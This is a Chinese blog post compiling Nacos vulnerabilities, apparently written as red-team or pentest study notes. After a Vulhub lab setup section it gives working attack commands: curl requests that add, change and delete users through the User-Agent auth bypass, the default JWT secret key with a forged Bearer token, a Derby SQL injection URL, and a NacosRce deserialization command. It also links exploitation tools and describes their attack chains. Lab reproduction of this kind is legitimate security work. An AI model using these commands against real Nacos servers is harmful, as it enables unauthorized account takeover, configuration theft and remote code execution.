nacos漏洞汇总

1 nacos介绍

1.1 nacos是啥

Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

指纹:app=“nacos”
默认密码nacos nacos

1.2 环境搭建

参考:https://vulhub.org/#/docs/install-docker-one-click/
(1)先按照搭建地址上面的步骤一步一步安装docker容器,再把Vulhub下载到里面

(2)安装完成后,来到nacos的cve的文件夹下面,运行命令行搭建环境

cd /vulhub/nacos/CVE-2021-29441
docker-compose up -d

(3)访问你的nacos:http://你的环境ip:8848
在这里插入图片描述
(4)移除环境

docker-compose down

(5)也可以直接通过docker直接部署nacos


docker pull nacos/nacos-server:2.0.3 
# Start nacos
 docker run -d -p 8848:8848 -p 7848:7848 -e MODE=standalone -e PREFER_HOST_MODE=hostname  --restart always --name nacos nacos/nacos-server:2.0.3

2 nacos漏洞

漏洞漏洞探测方式
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
secret.key 默认密钥 CNVD-2023674205/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt
CVE-2021-29441 Nacos权限认证绕过漏洞curl “http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur” -H “serverIdentity: security”
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001开放7848端口
sql注入derby数据库 /nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

2.1 未授权获取信息

(1)获取所有用户名和密码,虽然密码是加密的
/nacos/v1/auth/users?pageNo=1&pageSize=9
(2)获取集群信息
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

2.2 未授权进行nacos账号的CRUD

(1)创建新账号

curl -X POST -d "username=xxxx&password=xxxx123" -H "User-Agent: Nacos-Server" "http://ip:8848//nacos/v1/auth/users"

(2)修改账号crow密码成功:

curl -X PUT "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=cxxw&newPassword=crxxx23"

(3)删除用户

curl -X DELETE "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=crxxxw"

2.3 nacos伪造token漏洞:token.secret.key默认配置(QVD-2023-6271)

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中
默认的key:按照以下步骤伪造token

SecretKey012345678901234567890123456789012345678901234567890123456789

(1)选取时间戳,在这里注意:
使用网站http://shijianchuo.wiicha.com/计算时间戳,1719564997这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2024年06月27日16:56:37,在这里面的时间戳时间是6月28号了:
在这里插入图片描述
(2)伪造token

由于默认的token.secret.key指为下面所示

SecretKey012345678901234567890123456789012345678901234567890123456789

,然后使用https://jwt.io/网站进行token的伪造,注意填好以下3个值,选择base64 encoded,然后复制生成的token
在这里插入图片描述
(3)使用伪造的token进行登录
选择nacos账号登录,使用burp拦截,增加header,然后放行,就登录成功了

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MTk1NjQ5OTciLCJpYXQiOjE1MTYyMzkwMjJ9.RljLrkJzXw5uBzzEWh8ebIi4Fl1BfheW3gaZjv-Emq8

2.4 Nacos Hessian反序列化漏洞

(1)漏洞原理:
Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行漏洞。Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
(2)漏洞探测
使用工具https://github.com/c0olw/NacosRce/releases,下载jar后,需要注意java8运行jar包

java -jar NacosRce.jar http://192.168.90.1:8848/nacos  7848 "whoami"

2.5 其他综合工具使用结果

(1)NacosExploitGUI_v3.9.jar
地址: https://github.com/charonlight/NacosExploitGUI/releases/tag/v3.9
使用结果: 下载最新的jar包,双击打开NacosExploitGUI_v3.9.jar(java8)
在这里插入图片描述
(2)HKEcho_Nacos
地址: https://github.com/HKEcho5213/HKEcho_Nacos
检测漏洞列表:

以下漏洞顺序执行直到获取到一个账号:

0、未授权查看用户列表
1、检测nacos默认口令
2、任意用户添加
3、任意用户添加UA_Bypass
4、任意用户添加末尾斜杠绕过
5、默认JWT任意用户添加
6、JWT_Secret_Key硬编码绕过
7、Identity硬编码绕过
8、QVD-2023-6271身份认证绕过
一旦某个漏洞获取账号密码后,会调用a1phaboy师傅写的nacosleak读取配置文件
9、Nacos_Jraft_Hessian反序列化漏洞
程序会调用c0olw师傅写的NacosRce打一遍Jraft_Hessian反序列化漏洞(本工具在调用这个NacosRce工具前会判断Java环境,若不存在,则告警不执行)

使用步骤:

conda env list #使用虚拟python环境
activate py38 
pip install -r requirements.txt
python HKEcho_Nacos.py -h
python HKEcho_Nacos.py -u http://192.2xx.2xx.1x:8848 单个目标检测

(3)nacos_vul
地址 :https://github.com/Pizz33/nacos_vul
使用结果: 待使用

(4)哥斯拉nacos后渗透插件
地址 : https://github.com/pap1rman/postnacos
**使用结果:待研究
(5)nuclei
待研究:
https://mp.weixin.qq.com/s/jovBE_wVIGl_e__fXm71bw

参考:
1.Nacos身份认证权限绕过+漏洞利用工具分享

2.云原⽣组件Nacos新型红队手法研究

3.从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

4.Nacos漏洞复现总结----非常详细-再学习

  • 23
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值